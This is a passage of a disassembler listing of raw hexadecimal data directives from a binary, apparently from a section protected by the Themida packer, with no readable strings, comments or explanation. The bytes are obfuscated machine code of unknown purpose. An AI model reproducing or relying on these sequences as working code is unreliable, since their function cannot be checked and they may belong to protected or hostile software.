		dd 6A6A6F0Bh, 55E38000h, 32DD95FFh, 10E9060Bh, 0C7000000h
		dd 0F6C5E8B8h, 0BB374CC6h, 0BB0A472Bh, 956677Ch, 0B276D85h
		dd 765B906h, 9D8B0000h,	60B1639h, 6AFCE183h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 2B80C351h, 7DACA70Ah, 5DBD8B26h, 0FC060B17h,	42C78166h
		dd 0BBC02B0Fh, 6B4B5D95h, 6AD22Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 4149BDC3h, 0B70F5BCAh
		dd 0C233ADDEh, 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 85C9B6A7h, 505C2534h, 0B19D095Fh, 1060B08h, 0B182995h
		dd 880D06h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 170424h, 53430000h, 789B02C3h, 0BEF38105h, 8171DF95h
		dd 2C5FD7EFh, 4D958B50h, 66060B17h, 8D8BFE8Bh, 60B0119h
		dd 1FD5BD8Bh, 8B50060Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 11CFBB66h, 83FE8B66h, 0B29BDBDh, 840F0006h
		dd 48h,	0D14BBB66h, 0B8h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0E620587Ch
		dd 0FCE8C891h, 4DD78D8Dh, 8160060Bh, 0F85264DFh, 39953306h
		dd 61060B2Bh, 9D89E1FFh, 60B249Dh, 1009BD83h, 0F00060Bh
		dd 43A84h, 0C5852900h, 83060B12h, 0B1009BDh, 840F0106h
		dd 442h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	3DC35242h, 0BD027DB0h, 2F3949C5h, 2890F93h, 0B3000000h
		dd 0D88B66DEh, 1009BD83h, 0F03060Bh, 3CF86h, 1DBD8B00h
		dd 60060B06h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 15h,	37C35343h, 9BBF660Eh, 6810F41h,	31000000h, 0B28D98Dh
		dd 0D98C6606h, 0E804E180h, 10h,	0EDE2DA4Ch, 0A2A05237h
		dd 0B2E4A0C4h, 0F88D40D9h, 899D89h, 0A5F060Bh, 83840FC9h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 6717C356h, 7D858B8Bh, 6A060B31h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 214C357h,	0C8DC49AEh, 9501D84Dh, 60B2E61h
		dd 68D0Fh, 9D030000h, 60B06F1h,	1EB98589h, 8533060Bh, 60B06EDh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0E2C35747h
		dd 0CEEE6834h, 9010C829h, 11E9507Bh, 0AC000000h, 42CA7E00h
		dd 851A473Bh, 1A21F447h, 0C179785Fh, 5250905Bh,	6E9h, 0D32E0D00h
		dd 0FD60DE9h, 2FBB6631h, 50585AE9h, 3DFC66BFh, 850F9054h
		dd 6, 5F59529h,	0BD8B060Bh, 60B279Dh, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 5DEBCCC3h, 0EC5AF72Fh, 11E92E29h, 0B8000000h, 0DD204B7h
		dd 0CE7E1C51h, 5E1BB639h, 1BB5B5C7h, 9B94A468h,	81FA8BBCh
		dd 6F5B2404h, 0AE94383h, 9D000000h, 0C30A7F81h,	2C4C9543h
		dd 0D195FF21h, 60060B03h, 8BC18B66h, 806061F1h,	9D8B99C8h
		dd 60B13D5h, 1D858961h,	0E9060EA8h, 0Eh, 58EDDDC6h, 8BF2560Bh
		dd 84CA50F1h, 30BF0971h, 0E96DA14Eh, 189h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 26C35545h, 858B2A44h
		dd 60EA815h, 0D12AD6BBh, 1800C75Dh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 5975C350h, 0F04BBB97h, 0F9B589C2h, 8B060B31h, 0EA819B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 5263DE41h, 858B8C54h, 60B06E1h, 3381BD8Bh
		dd 689060Bh, 317D858Bh,	8B66060Bh, 44689DEh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 38C35545h, 50080620h
		dd 9E960h, 48D40000h, 0DDF7A882h, 66311894h, 614C8FB8h
		dd 0B243489h, 0B1B919Dh, 959D8B06h, 0FF060B02h,	0EA815B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0BEA18EFEh, 668580D0h, 43B1C381h, 4E8h
		dd 1F03FF00h, 8A0F00h, 50000000h, 8BDE8B66h, 66042444h
		dd 8BC3EBBFh, 0DE8B6600h, 4244489h, 89585F57h, 0B31619Dh
		dd 0DAB70F06h, 0A81D858Dh, 8B66060Eh, 6840FDFh,	29000000h
		dd 0B177195h, 17BF9006h, 501AFD29h, 6870F90h, 8B000000h
		dd 0B2D899Dh, 0D195FF06h, 6A060B03h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 5DE2C353h
		dd 6EB1C880h, 9D896127h, 60B2919h, 100985C7h, 3060Bh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0DC514DC3h, 26B1F030h, 0CDBD8BDBh, 0BF060B01h, 3A4B42B2h
		dd 0A81DBD83h, 0F00060Eh, 3784h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0DD2CA821h
		dd 2DE9CBh, 0BD310000h,	60B2049h, 7E9h,	98E20700h, 1027F571h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 89E9C355h, 832C86AEh, 3169BD89h, 6A060Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0CA9BE4C3h, 731876FDh, 83E8E54Eh, 0B1009BDh,	850F0306h
		dd 3ACh, 0BD83F98Ah, 60EA81Dh, 9D840F00h, 8B000003h, 0B208DBDh
		dd 8D0F06h, 0FF000000h,	0EA81DB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 95FF3DC6h
		dd 60B083Dh, 0DECF8166h, 49BD2BF7h, 8B060B24h, 0EA811B5h
		dd 119D2306h, 3060B1Ah,	0B33B5BDh, 106C706h, 6A000100h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 6473C351h, 892BCB75h, 0B0AB185h, 0B3515006h
		dd 34895F02h, 13E824h, 33F70000h, 6DBFEBA6h, 0EE8D8641h
		dd 0CE803399h, 0B7EB3EABh, 51BD89E1h, 5B060B2Eh, 0A81DB5FFh
		dd 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0CC3C0BC3h, 0BD8BF1F7h, 60B055Dh,	95FF98B7h
		dd 60B0641h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0B2C35242h, 0B7E72C2Ah,	11B58BBDh, 6A060EA8h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 9093C353h, 3ABAB064h, 0BF0FA58Eh, 798D89D9h,	8B060B29h
		dd 0B121D85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0E8FBA440h, 14h, 0B8AFA1C1h, 4237DD80h
		dd 0F6781626h, 25E66C73h, 417ADE66h
		dd 895FFC8Ah, 0B27598Dh, 0C4868906h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 3168C351h, 0BF74BEDDh, 153A0B7Ch, 0A850Fh, 880F0000h
		dd 4, 0A248BF66h, 8BFEBF0Fh, 0B174D95h,	0C283FC06h, 0AC78104h
		dd 894728FDh, 0DF812050h, 4B3EE618h, 21F19D8Bh,	858D060Bh
		dd 60EBAEEh, 12D59531h,	8689060Bh, 0B8h, 5F59D2Bh, 6A060Bh
		dd 2DF19D33h, 0FFFC060Bh, 0EA81DB5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 7ABAF0F3h
		dd 0FF5A5CE5h, 0B0F1595h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0A9D0DD9Bh
		dd 467D8C7Bh, 2DFDBD8Bh, 6096060Bh, 841705BBh, 0FDBA6672h
		dd 605061E7h, 13E8h, 0E5424400h, 7DA2DBD4h, 9A04BF8Ch
		dd 6C7455D3h, 0E27F3F1h, 605F5950h, 5E9h, 60289700h, 61614531h
		dd 0DD9D8996h, 0FF060B21h, 0EA81DB5h, 0F595FF06h, 89060B00h
		dd 0B1BB18Dh, 91BD8306h, 60B21h, 15840Fh, 51BF0000h, 965FE0A9h
		dd 50F88B66h, 5ADEBF66h, 0F1950996h, 0FF060B15h, 0EA81DB5h
		dd 60526006h, 0B70F5B61h, 95FF61C9h, 60B1281h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0FFC35343h, 13A9BD8Bh
		dd 0B5FF060Bh, 60EA81Dh, 68D0Fh, 0B5890000h, 60B035Dh
		dd 0B8D95FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0EA5320C3h, 0FA9B049h, 5B52D8B7h
		dd 17F1BD83h, 0F02060Bh, 1384h,	0FB8B6600h, 2EC5858Bh
		dd 8589060Bh, 60B1651h,	0F50000C6h, 6B985C7h, 60Bh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E8836DC3h, 0Dh, 0C84C7151h,	8BD08FDDh, 635F0B1Fh, 0CE99Dh
		dd 6D4D0000h, 0E4EA94D7h, 0BFCFE7Ch, 535B43BAh,	5BF9B70Fh
		dd 0FFF476E9h, 55006AFFh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 74DA96EAh, 6AC18BBBh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 9AE2C351h, 0B523DE81h, 0D4622899h, 38C0Fh
		dd 8B660000h, 0A9858DDAh, 6A060B28h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 6FB5C357h
		dd 9D0989F4h, 60B2D7Dh,	6800Fh,	9D8B0000h, 60B1349h, 9E990h
		dd 0F8DE0000h, 6D46C620h, 503C4022h, 5E9h, 0BDBBD100h
		dd 6A902004h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 9DEEC356h, 0B6C03AECh,	1FD93B6Ch
		dd 2B71BD29h, 6A060Bh, 0F88B6653h, 89006A5Fh, 0B042995h
		dd 0CD9D8906h, 8D060B02h, 0F806285h, 0D1B58906h, 89060B32h
		dd 0B2F5D8Dh, 5C08306h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0D0C35242h, 45B376C6h, 8B525090h, 53310FD8h
		dd 7444BF66h, 50585A5Bh, 12E852h, 0E7E90000h, 6016DEAAh
		dd 2598F61Fh, 0D3C151F8h, 6EBE774Ah, 0BE8h, 9A45E00h, 44285BC1h
		dd 23522044h, 905B5F5Bh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 38C35141h, 0D58D0110h, 6A060B0Eh, 14E900h
		dd 0DCC90000h, 0A0343A48h, 8A9118F4h, 5340DF94h, 22E85F0Ah
		dd 6A866Dh, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Ch,	0A7C35141h, 3C607D6Eh, 0D38E80F3h, 2F2195FFh, 11E9060Bh
		dd 6F000000h, 0D00935F5h, 8C6D2025h, 5D09780Fh,	87C59BF5h
		dd 0A7B08D8Dh, 6A060Eh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 9D8BCDC3h, 60B1F5Dh, 6AD1FFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 2E90FDC3h, 0C1FFC738h, 10E9h, 0A6ECA900h, 0DB6A3ADEh
		dd 64323F68h, 3D55524Ah, 19BD83FCh, 1060B0Bh, 4C850Fh
		dd 0F520000h, 686h, 8F0F00h, 5B000000h,	50FC026Ah, 489DF8Bh
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 95FFEE55h, 60B0F15h, 0DE9h, 920CAC00h, 0FA59CEDEh
		dd 0CF7711F1h, 12E99983h, 0E800000Eh, 0
		dd 6CED815Dh, 6A060F80h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 6846C356h, 552200E0h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 20C35242h
		dd 43861F70h, 858D18AEh, 60E9293h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 6DC35646h, 1229A894h, 0DD428C2Ah
		dd 13064ABBh, 0E957507Eh, 0Fh, 0BED1DDE2h, 7A65A380h, 0A37A3086h
		dd 5FF12FA7h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 2241C357h, 1F9F280Ch
		dd 0FF64633Fh, 35h, 88A0F00h, 56000000h, 29618D89h, 645F060Bh
		dd 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 5C9FEFC3h, 6D85FF14h, 0E9060B06h
		dd 12h,	758173A1h, 0F2349CE6h, 0AA8CF211h, 0FD2CC835h
		dd 0FF6AF9F8h, 12E9h, 9E29BC00h, 8D18C0BCh, 0B61883C0h
		dd 0CF15AFB4h, 8B464BB1h, 5B5FFDAh, 89060B27h, 0B18D19Dh
		dd 1195FF06h, 0E9060B24h, 0F9h,	19F5BD8Bh, 0B0060Bh, 10E9h
		dd 0BE45700h, 7E036562h, 0A567216Bh, 2FC6EBDFh,	0F70E6A6h
		dd 68Dh, 0BB665700h, 0E45B59F9h, 0FEBF6671h, 0F613CDEh
		dd 0C083h, 0B60FF900h, 0FEB70FC8h, 0F275F781h, 6BA594Eh
		dd 8B000000h, 0ADEF80C1h, 6604E8C1h, 0E0D6EF81h, 2BE2F766h
		dd 8BDE8BC8h, 29FBBFD1h, 4E94340h, 66000000h, 8B0858BBh
		dd 0B2A1D85h, 7C08306h,	39858960h, 29060B18h, 0B0B8195h
		dd 0BD896106h, 60B1F71h, 3B00C083h, 20830FD0h, 0F000000h
		dd 5AE9F8B7h, 0E9000000h, 11h, 0CD2F135Ah, 11AC9B96h, 0F8D8CB24h
		dd 1DDDF60Ah, 8BDA8B88h, 0B00A18Dh, 89BD8B06h, 8B060B1Fh
		dd 0B2E1DBDh, 1E18306h,	27840Fh, 8F0F0000h, 3, 83DF8B66h
		dd 0B00A1A5h, 0BD89FE06h, 60B3169h, 2A1D9589h, 9D8B060Bh
		dd 60B04A9h, 0E9h, 3CB58D00h, 6A060EF7h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 50B99139h, 0A0FB47C2h, 816618B5h, 0FF5A71C7h, 0B32DD95h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0A2B96A55h, 0F000007h, 28Eh, 83E9B300h
		dd 6AFCE1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 862A2CC3h, 5E860h, 4A150000h, 66486519h
		dd 2F36C381h, 6AFC5Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 614CD8C3h, 6D9D33EBh, 0B8060B0Bh
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0C2C35040h
		dd 33DC1A8Ch, 2B894075h, 55006AD2h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0FCF7712Ah, 8E0Fh, 0BD230000h
		dd 60B30E5h, 0D1C233ADh, 83D003E8h, 0F47504E9h,	6840Fh
		dd 9D8B0000h, 60B3355h,	0C820Fh, 8F0F0000h, 6, 8C0Fh, 880D0000h
		dd 60000000h, 0EE8h, 0EB270600h, 73E2FEEh, 84BBB29Eh, 31B44E40h
		dd 0B123985h, 9D8B5E06h, 60B0C35h, 0DDBD8B61h, 8B060B18h
		dd 0B174D95h, 659D0106h, 89060B22h, 0B2F519Dh, 198D8B06h
		dd 6A060B01h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 9CFC352h, 8C0F93CAh, 6, 32EDBD33h
		dd 8D89060Bh, 60B01B9h,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 9D8B5818h, 60B333Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 5CC35747h, 84B2F11Dh, 0BD838F19h
		dd 60B29BDh, 5A840F00h,	8B000000h, 0B1B01BDh, 0B806h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BD8BC2C3h, 60B2E91h, 4DD78D8Dh, 0BB66060Bh,	0E1FF8296h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 66C35646h
		dd 992FBDBFh, 9BD8379h,	60B10h,	489840Fh, 0BF0F0000h, 9BD83DFh
		dd 1060B10h, 494840Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0B3012BC3h, 11E95Eh
		dd 3AD90000h, 1B84A42Bh, 7A5A9D64h, 0B0F6E785h,	0BBAE92BCh
		dd 47D0DC20h, 1009BD83h, 0F03060Bh, 41786h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 581C2B32h, 8F71D240h, 0E1BD89C4h, 60060B2Eh,	4840Fh
		dd 0BB660000h, 8C663381h, 55006AD9h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0A9F6FE36h
		dd 0AE81F11h, 0C000000h, 7F3D16A5h, 0E93F6596h,	805BFCF1h
		dd 8C0F04E1h, 0
		dd 840FC90Ah, 15Bh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 94C35242h, 858BF99Eh,	60B317Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0AFC35141h, 88BE09ABh
		dd 6E99174h, 3F000000h,	0CB050145h, 0ED85339Bh,	6A060B06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0F20DC356h, 0EC3974D0h, 0BD8BF616h, 60B2A59h
		dd 0D98D2960h, 0E8060B04h, 0Bh,	93286029h, 5C26A84Bh, 0BBD7C1EDh
		dd 14C420C4h, 6650615Eh, 505FDF8Bh, 28D0F51h, 51000000h
		dd 4895B5Fh, 859D0924h,	6A060B13h, 0C99D2900h, 68060B29h
		dd 615945E0h, 52506051h, 585A310Fh, 0EE7BBE66h,	34815F61h
		dd 46461F24h, 6870F61h,	8B000000h, 0B1AD59Dh, 0D195FF06h
		dd 6A060B03h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 388AC357h, 0F947AE3h, 0A81D8589h
		dd 0EE8060Eh, 60000000h, 1E565F98h, 8A12C9BDh, 75FF9BD7h
		dd 9BD3374h, 5B060B04h,	0EE8h, 35C1DB00h, 0E8D59C3Dh, 0F464878h
		dd 814C4012h, 0DFB5EDFh, 0C7E95F58h, 0E9000001h, 0Bh, 0E0171F47h
		dd 0DAD586D9h, 8BDEF1F1h, 0EA81585h, 91850906h,	0F060B2Eh
		dd 0C7DABFh, 18h
		db 6Ah
byte_5847E9	db 0, 50h, 0E8h		; DATA XREF: Themida_:00544C0Co
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0F8C35040h, 0A8E169E1h
		dd 297497ECh, 0B0F3D9Dh, 0B58BF906h, 60EA819h, 0DA8B6660h
		dd 1870Fh, 61FC0000h, 6E1858Bh,	6A060Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0E92C54C3h
		dd 497C45D0h, 9D8BF842h, 60B06B5h, 0BF0F0689h, 7D858BFBh
		dd 81060B31h, 87800AD7h, 446894Ch, 68D0Fh, 0BD8B0000h
		dd 60B05B1h, 32CD8589h,	8A96060Bh, 0F3BB50DEh, 9603226Fh
		dd 0B5FFF98Bh, 60EA815h, 0FE9h,	0BABDA900h, 1F202785h
		dd 0C295F1B6h, 4AFBE19Ah, 4E8FCh, 3FF0000h, 11E8001Fh
		dd 74000000h, 0C42A9AC5h, 0A2B65E68h, 0D80880Ah, 0F3771587h
		dd 61605250h, 9E9310Fh,	7F000000h, 0DA42A367h, 4CBA2A78h
		dd 505F585Ah, 0BBF5250h, 0F1BA377h, 8B585A31h, 0BF042444h
		dd 73A7C68Eh, 0C9BF008Bh, 892DD4D5h, 58042444h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0B9C35141h, 858DA033h
		dd 60EA81Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0F7C35242h, 1C3C3B21h, 0C95FB17Bh, 0DDD9D8Bh, 6090060Bh
		dd 66616060h, 0B161D88Bh, 5050618Bh, 0BF310F52h, 8B44585h
		dd 6A90585Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0E04BC356h, 95FF31CDh,	60B03D1h
		dd 322D9589h, 2961060Bh, 0B0E3DBDh, 985C706h, 3060B10h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0A787C351h, 14354EC3h,	157B8026h
		dd 11E8h, 84321F00h, 0DE707999h, 4ECDD7DCh, 98C45ADFh
		dd 9D8BCE73h, 60B31B1h,	1DBD835Fh, 60EA8h, 2A840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0F78064C3h, 21E903h,	0D7810000h, 740900E3h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 81BDC356h, 23F73E9Fh, 5E95Ch, 0A69B0000h, 3DE0E43h
		dd 0B03B9BDh, 0CBF6606h, 9BD83C6h, 3060B10h, 456850Fh
		dd 820F0000h, 6, 0BA19D31h, 0BD83060Bh,	60EA81Dh, 3D840F00h
		dd 0FF000004h, 0EA81DB5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 1188453h, 12F6BF62h
		dd 7E82407h, 50000000h,	0F2A5B0F5h, 295B3B38h, 0B03258Dh
		dd 3D95FF06h, 52060B08h, 6E8h, 0B5F87900h, 0E90897E0h
		dd 14h,	0C6F109F4h, 3984D245h, 94E918DCh, 44DC25B4h, 35F156F8h
		dd 0B58B5B5Bh, 60EA811h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 34C35747h, 0A2986D74h, 0C3D1A80Ch, 8C0Fh
		dd 6C70000h, 10001h, 12F98509h,	0E996060Bh, 8, 88F76D6Dh
		dd 0E7A81267h, 11E950h,	1A30000h, 0F42AAAFBh, 0E0C0341Ah
		dd 47351328h, 9632B124h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 2CC35545h, 179745CDh,	12E9E028h, 51000000h
		dd 84AFBDBCh, 0FEB712C4h, 0D618A385h, 0D11746A0h, 1DB5FF30h
		dd 6A060EA8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0C101C355h, 0EB80DE3h,	7BDD9CC5h
		dd 2AAD9D8Bh, 0E953060Bh, 7, 0D0ADED90h, 5F120319h, 64195FFh
		dd 0BD03060Bh, 60B20DDh, 0BE9h,	373D1E00h, 36307222h, 1D3064Dh
		dd 0A811B58Bh, 858B060Eh, 60B121Dh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 75C35747h, 1800B63Ch, 0D129D9CDh
		dd 28A0F52h, 8B000000h,	1BE781FAh, 8B096D05h, 0C48689F9h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 1894C355h, 0D6D36D31h,	174D958Bh
		dd 9D89060Bh, 60B014Dh,	6A04C283h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 38A7C353h
		dd 3B931896h, 89D37B16h, 6A2050h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 538E00C3h, 8DF98B66h
		dd 0EBAEE85h, 0DFB70F06h, 14E8h, 716AF00h, 37C39EE6h, 0CF444D8h
		dd 413722DAh, 0D15AFA28h, 8D9D03FDh, 5B060B08h,	0B88689h
		dd 8D090000h, 60B2219h,	0BF66006Ah, 7E86EC8h, 8C000000h
		dd 0DD17F20Ah, 0BF0FA7F4h, 0B5FF5FDBh, 60EA81Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 33C35040h, 0B02BB609h
		dd 6800Fh, 0BD890000h, 60B01E1h, 0F1595FFh, 8529060Bh
		dd 60B29EDh, 1860Fh, 96F90000h,	796B63BFh, 52505077h, 928BC9BFh
		dd 0E9310F12h, 13h, 0F586F9A4h,	1399396h, 269065B1h, 0B9A0C34h
		dd 5A35E808h, 95319658h, 60B0405h, 2EE78166h, 1DB5FFF2h
		dd 6A060EA8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0C8D9C355h, 702BF620h,	259D8BB0h
		dd 0FF060B04h, 0B00F595h, 6800F06h, 8B000000h, 0B24259Dh
		dd 0F1BD8B06h, 83060B05h, 0B2191BDh, 840F0006h,	65h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C7C35141h, 66C5E8B8h
		dd 5050D98Bh, 0DE952h, 0E46D0000h, 93F72E69h, 6597B388h
		dd 0F439E66h, 89585A31h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0C3BE12C3h, 8B9C7597h
		dd 0B0D159Dh, 1DB5FF06h, 56060EA8h, 5618531h, 0FF5F060Bh
		dd 0B128195h, 0CF816606h, 8B66E807h, 1DB5FFDFh,	0FF060EA8h
		dd 0B0B8D95h, 1860F06h,	0F9000000h, 3331BD89h, 0BD83060Bh
		dd 60B17F1h, 4D840F02h,	0E9000000h, 6, 0FF21241h, 858B320Eh
		dd 60B2EC5h, 0B840Fh, 6E90000h,	0BD000000h, 3A53F022h
		dd 0C68Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	15C35040h, 866F578Ch, 0BD8BDB13h, 60B0E49h, 6B985C7h
		dd 60Bh, 0BD8B0000h, 60B0D39h, 0FFF319E9h, 5E9FFh, 6BD30000h
		dd 8B10DFE4h, 68E0FC1h,	8B000000h, 0B0EF9BDh, 0A9858D06h
		dd 0F060B28h, 8B50FEB7h, 240489FEh, 8959D31h, 6A060Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h
		db 41h,	51h
word_584F4E	dw 93C3h		; DATA XREF: ___:0043680Co
		dd 830F6233h, 2, 6ADE8Bh, 4F79BF66h, 9045858Dh,	6A060Fh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 313E51C3h, 663329DBh, 0F0F8BBBh, 0C083DAB7h,	53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 46E7CF4h, 0FC7B2A9Bh, 24048950h, 13E9h, 894D8B00h, 736DD12Ah
		dd 2445480Dh, 9E241E3Fh, 35C364B1h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 96B2FBC3h
		dd 4FD11C72h, 0FC2B28Fh, 686h, 89BD2B00h, 8B060B0Bh, 6A006AF9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 12DCC357h, 95FF605Fh, 60B2F21h, 0B08D8DF8h
